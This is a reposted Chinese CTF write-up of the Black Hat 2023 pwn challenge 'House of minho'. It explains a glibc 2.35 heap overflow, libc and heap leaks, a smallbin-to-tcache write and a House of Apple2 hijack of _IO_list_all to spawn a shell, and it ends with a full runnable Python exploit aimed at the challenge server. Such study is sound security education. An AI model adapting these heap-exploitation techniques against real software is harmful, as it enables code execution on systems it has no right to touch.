文章总结： 本文为BlackHat2023Pwn题目Houseofminho的完整解题报告。题目环境为Ubuntu22.04GLIBC2.35，开启PIE、NX、Canary及FullRELRO保护。核心漏洞为smallchunk堆溢出，可覆盖后续chunk元数据。利用链综合运用scanf内部malloc触发unsortedbin泄露libc、tcachesafe-linking泄露heap基址、smallbin-to-tcache技巧实现任意写，最终通过HouseofApple2劫持IOlist_all触发system执行命令获取flag。文章提供了完整可运行的Pythonexploit代码及关键libc偏移，具备极高实战参考价值。
综合评分： 88
文章分类： CTF,二进制安全,漏洞分析,渗透测试
[Black Hat 2023] Pwn House of minho 解题报告
mb_dcvvjyqc
mb_dcvvjyqc
看雪学苑
2026年9月20日 18:05
上海
在小说阅读器读本章
去阅读
在公众号小说中沉浸阅读
- 题目信息
目标：
nc 123.57.66.184 10050
附件：
附件：
minho
main.c
Dockerfile
docker-compose.yml
最终 flag：
flag{bcddada9-b211-4c5d-8d04-282a53b2caff}
参考环境：
Ubuntu 22.04
GLIBC 2.35
PIE: enabled
NX: enabled
Canary: enabled
RELRO: Full RELRO
2.漏洞点分析
源码核心如下：
#define SIZE_SMALL 0x40
#define SIZE_BIG 0x80
char *g_buf;
case 1:
if (getint("Size [1=small / 2=big]: ") == 1) {
g_buf = malloc(SIZE_SMALL);
} else {
g_buf = malloc(SIZE_BIG);
}
printf("Data: ");
read(STDIN_FILENO, g_buf, SIZE_BIG);
g_buf[strcspn(g_buf, "\n")] = '\0';
break;
当选择 small 时：
g_buf = malloc(0x40);
但输入时固定读入：
read(0, g_buf, 0x80);
所以 small chunk 存在堆溢出，可以覆盖后续 chunk 的 metadata，包括 size、fd、bk 等字段。
程序限制：
char *g_buf;
全局只有一个指针，delete 后会置空：
free(g_buf);
g_buf = NULL;
所以没有直接 UAF，但可以通过堆溢出、scanf 内部 malloc/realloc、tcache safe-linking 泄露与 smallbin-to-tcache 技巧完成利用。
3.利用总体思路
利用链分四段：
1. 利用 scanf 读超长输入触发 malloc/realloc/free
2. 修改 Top Chunk size，让 Top Chunk 进入 Unsorted Bin，泄露 libc
3. 通过 tcache fd 的 safe-linking key 泄露 heap base
4. 伪造 smallbin 链，触发 smallbin-to-tcache，拿任意写
5. House of Apple2 劫持 _IO_list_all，触发 system("sh")
6. 执行 cat /flag
关键 libc 偏移：
main_arena_unsorted = 0x219ce0
smallbin_0x90_head = 0x219d60
_IO_list_all = 0x21a680
_IO_wfile_overflow = 0x2160d8
system = 0x50d60
4.libc 泄露
先溢出修改 Top Chunk size：
add(1, b"a" * 0x48 + p64(0xd11))
然后向 scanf(“%d%*c”) 输入超长数字：
sla(b"> ", b"0" * 0xfff + b"2")
scanf 内部会分配较大的缓冲区，大致触发：
malloc(0x800);
realloc(..., 0x1000);
realloc(..., 0x2000);
free(...);
配合被修改过的 Top Chunk size，可以让旧 Top Chunk 进入 Unsorted Bin。
之后通过 small chunk 溢出覆盖并 show：
free()
add(1, b"a" *0x50)
show()
ru(b"a" *0x50)
libc_base = u64(io.recv(6).ljust(8, b"\x00")) -0x219ce0
5.heap 泄露
glibc 2.35 的 tcache fd 使用 safe-linking：
encoded_fd = real_fd ^ (chunk_addr >> 12)
如果泄露 tcache 链表末尾 chunk 的 fd，由于真实 fd 为 0，所以泄露值就是：
heap_base >> 12
因此：
heap_base = leak << 12
对应利用：
free()
add(2, b"a")
free()
add(1, b"a" *0x50)
show()
ru(b"a" *0x50)
heap_base = u64(ru(b"\n")[:-1].ljust(8, b"\x00")) <<12
6.smallbin-to-tcache
目标是构造一个 fake smallbin 链，让 glibc 在从 smallbin 取 chunk 时，把链上的其它 chunk 自动填充进 tcache。
先构造可被合并的 fake chunk：
add(
1,
b"a" * 0x10
+ p64(0)
+ p64(0x31)
+ 2 * p64(heap_base + 0x2c0)
+ b"a" * 0x10
+ p64(0x30)
+ p64(0xd00)
)
free()
布置哨兵块，避免 malloc/free 检查崩溃：
add(2, b"a" * 0x50 + p64(0x90) + p64(0x10) + p64(0) + p64(0x11))
free()
把 fake chunk size 改成 smallbin 大小：
add(1, b"a" * 0x10 + p64(0) + p64(0x91))
再次用 scanf 超长输入触发 unsorted bin 遍历，使 fake chunk 进入 smallbin：
sla(b"> ", b"0" * 0xfff + b"2")
然后伪造 smallbin bk 链：
add(1, flat_list([
0, 0,
0, 0x91, heap_base + 0x2c0, heap_base + 0x2c0 + 0x20,
0, 0x91, heap_base + 0x2c0, heap_base + 0x2c0 + 0x40,
0, 0x91, heap_base + 0x2c0 + 0x20, libc_base + 0x219d60,
]))
free()
触发 smallbin-to-tcache：
add(2, b"a")
free()
此时可以进行 tcache poisoning，获得一次写 libc 地址的机会。
7.House of Apple2
由于 Full RELRO，不能改 GOT。这里选择劫持：
_IO_list_all
构造 fake _IO_FILE_plus，让程序 exit 时触发：
exit
-> _IO_flush_all_lockp
-> _IO_wfile_overflow
->system("sh")
关键字段：
wide_data_off = 0xa0
vtable_off = 0xd8
wide_data_vtable_off = 0xe0
_IO_wfile_overflow_ptr = libc_base + 0x2160d8
_IO_list_all = libc_base + 0x21a680
system = libc_base + 0x50d60
写入 fake FILE：
add(2, flat_dict({
0x10: b" sh;",
0x38: system,
0x68: 0x71,
0x70: _IO_list_all ^ (heap_base >> 12),
}, filler=b"\x00"))
继续补齐 wide_data 和 vtable：
add(2, flat_dict({
wide_data_off - 0x60: heap_base + 0x2e0 + 0xd0 - wide_data_vtable_off,
0xd0 - 0x60: heap_base + 0x2e0 + 0x28 - do_alloc_off,
vtable_off - 0x60: _IO_wfile_overflow_ptr - __overflow_off,
}, filler=b"\x00"))
最后劫持 _IO_list_all：
add(2, p64(heap_base + 0x2e0))
退出触发：
sla(b"> ", b"4")
8.完整 exploit
保存为：
exp_minho_pure.py
运行：
python3 exp_minho_pure.py 123.57.66.184 10050 --cmd "cat /flag; echo DONE"
完整代码：
import socket, struct, time, argparse
MASK64 = (1 << 64) - 1
def p64(x): return struct.pack("<Q", x & MASK64)
def u64(b): return struct.unpack("<Q", b.ljust(8, b"\x00")[:8])[0]
def flat_list(items):
out = b""
for x in items:
out += p64(x) if isinstance(x, int) else x
return out
def flat_dict(d, filler=b"\x00"):
maxlen = 0
vals = []
for off, val in d.items():
b = p64(val) if isinstance(val, int) else val
vals.append((off, b))
maxlen = max(maxlen, off + len(b))
out = bytearray(filler[:1] * maxlen)
for off, b in vals:
out[off:off + len(b)] = b
return bytes(out)
class Tube:
def __init__(self, host, port, timeout=12):
self.s = socket.create_connection((host, port), timeout=timeout)
self.s.settimeout(timeout)
self.buf = b""
def recv(self, n=4096):
if self.buf:
b = self.buf[:n]
self.buf = self.buf[n:]
return b
return self.s.recv(n)
def recvuntil(self, delim, drop=False):
while delim not in self.buf:
chunk = self.s.recv(4096)
if not chunk:
break
self.buf += chunk
idx = self.buf.find(delim)
if idx >= 0:
end = idx + len(delim)
out = self.buf[:idx if drop else end]
self.buf = self.buf[end:]
return out
out = self.buf
self.buf = b""
return out
def send(self, b):
if isinstance(b, str):
b = b.encode()
self.s.sendall(b)
def sendline(self, b):
if isinstance(b, str):
b = b.encode()
self.send(b + b"\n")
def sendafter(self, delim, b):
self.recvuntil(delim)
self.send(b)
def sendlineafter(self, delim, b):
self.recvuntil(delim)
self.sendline(b)
def clean(self, timeout=0.5):
old = self.s.gettimeout()
self.s.settimeout(timeout)
out = self.buf
self.buf = b""
while True:
try:
c = self.s.recv(4096)
if not c:
break
out += c
except socket.timeout:
break
self.s.settimeout(old)
return out
def exploit(host, port, cmd):
io = Tube(host, port)
ru = io.recvuntil
sla = io.sendlineafter
sa = io.sendafter
def add(size, content):
sla(b"> ", b"1")
sla(b"Size [1=small / 2=big]: ", str(size).encode())
sa(b"Data: ", content)
def show():
sla(b"> ", b"2")
def free():
sla(b"> ", b"3")
sla(b"> ", b"0" * 0xd58 + b"3")
add(1, b"a" * 0x48 + p64(0xd11))
sla(b"> ", b"0" * 0xfff + b"2")
free()
add(1, b"a" * 0x50)
show()
ru(b"a" * 0x50)
libc_base = u64(io.recv(6)) - 0x219ce0
print("[+] libc_base =", hex(libc_base))
free()
add(1, b"a" * 0x48 + p64(0xcf1))
free()
add(2, b"a")
free()
add(1, b"a" * 0x50)
show()
ru(b"a" * 0x50)
heap_base = u64(ru(b"\n", drop=True)) << 12
print("[+] heap_base =", hex(heap_base))
free()
add(
1,
b"a" * 0x10
+ p64(0)
+ p64(0x31)
+ 2 * p64(heap_base + 0x2c0)
+ b"a" * 0x10
+ p64(0x30)
+ p64(0xd00)
)
free()
add(2, b"a" * 0x50 + p64(0x90) + p64(0x10) + p64(0) + p64(0x11))
free()
add(1, b"a" * 0x10 + p64(0) + p64(0x91))
sla(b"> ", b"0" * 0xfff + b"2")
free()
add(1, flat_list([
0, 0,
0, 0x91, heap_base + 0x2c0, heap_base + 0x2c0 + 0x20,
0, 0x91, heap_base + 0x2c0, heap_base + 0x2c0 + 0x40,
0, 0x91, heap_base + 0x2c0 + 0x20, libc_base + 0x219d60,
]))
free()
add(2, b"a")
free()
wide_data_off = 0xa0
vtable_off = 0xd8
wide_data_vtable_off = 0xe0
_IO_wfile_overflow_ptr = libc_base + 0x2160d8
__overflow_off = 0x18
do_alloc_off = 0x68
_IO_list_all = libc_base + 0x21a680
system = libc_base + 0x50d60
add(
1,
b"a" * 0x10
+ p64(0)
+ p64(0x71)
+ p64((heap_base + 0x2d0 + 0x70) ^ (heap_base >> 12))
)
free()
add(2, flat_dict({
0x10: b" sh;",
0x38: system,
0x68: 0x71,
0x70: _IO_list_all ^ (heap_base >> 12),
}))
free()
add(2, flat_dict({
wide_data_off - 0x60: heap_base + 0x2e0 + 0xd0 - wide_data_vtable_off,
0xd0 - 0x60: heap_base + 0x2e0 + 0x28 - do_alloc_off,
vtable_off - 0x60: _IO_wfile_overflow_ptr - __overflow_off,
}))
free()
add(2, p64(heap_base + 0x2e0))
sla(b"> ", b"4")
time.sleep(0.5)
print("[+] trigger:", repr(io.clean()))
io.sendline(cmd)
out = b""
end = time.time() + 5
while time.time() < end:
try:
chunk = io.s.recv(4096)
if not chunk:
break
out += chunk
if b"DONE" in out:
break
except socket.timeout:
break
print(out.decode("latin-1", "replace"))
if __name__ == "__main__":
ap = argparse.ArgumentParser()
ap.add_argument("host", nargs="?", default="123.57.66.184")
ap.add_argument("port", nargs="?", type=int, default=10050)
ap.add_argument("--cmd", default="cat /flag; echo DONE")
args = ap.parse_args()
exploit(args.host, args.port, args.cmd.encode())
9.结果
执行：
python3 exp_minho_pure.py 123.57.66.184 10050 --cmd "cat /flag; echo DONE"
输出：
[+] libc_base = 0x...
[+] heap_base = 0x...
[+] trigger: b'[+] Bye!\n'
flag{bcddada9-b211-4c5d-8d04-282a53b2caff}
DONE
看雪ID：mb_dcvvjyqc
https://bbs.kanxue.com/user-home-946087.htm
*本文为看雪论坛优秀文章，由 mb_dcvvjyqc 原创，转载请注明来自看雪社区
9月10日【议题征集】截止
往期推荐
当高频观测不再经过异常路径：Shadow Cave 与常驻式插桩架构
D3CTF 2026 d3llvm.apk 反调试定位与加密 SO的Dump
一串反引号，十层突破：n1ctf‑2018‑easy_harder_php 完整利用链
实现一个EDR不可见的网络通信（将lwip移植到nt内核中）
球分享
球点赞
球在看
点击阅读原文查看更多
免责声明：
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。
任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。
本文转载自：看雪学苑 mbdcvvjyqc
mbdcvvjyqc《[Black Hat 2023] Pwn House of minho 解题报告》